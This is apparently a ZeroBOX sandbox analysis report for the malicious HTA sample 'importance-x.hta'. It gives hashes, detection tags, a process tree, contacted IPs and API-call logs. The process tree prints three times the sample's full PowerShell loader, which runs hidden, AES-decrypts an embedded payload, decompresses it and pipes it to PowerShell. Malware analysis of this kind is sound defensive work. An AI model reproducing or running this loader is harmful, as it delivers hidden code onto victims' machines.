popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

importance-x.hta

Generic Malware Antivirus AntiDebug MSOffice File AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Aug. 9, 2023, 5:46 p.m. Aug. 9, 2023, 5:48 p.m.
Size 1.2MB
Type HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5 5ffa9afcf0b8f6f600119cf4c35b5c6c
SHA256 1addc06728d92460aad1805db7833ee30f67dd8ac81cd4acfcd1a17204d3de7c
CRC32 A13F2F49
ssdeep 3072:lZkTC6BJdE0OryukNC0ButWPUTz1cmuhTAH2W4:lZkeYJdJOryukc0UtLcm00WW4
Yara None matched

  • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\importance-x.hta.html

    2608

    • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2608 CREDAT:145409

      2696

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell - }

        2056

        • cmd.exe "C:\Windows\system32\cmd.exe" /c powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell -

          2480

          • powershell.exe powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl

            2576

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
117.18.232.200 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
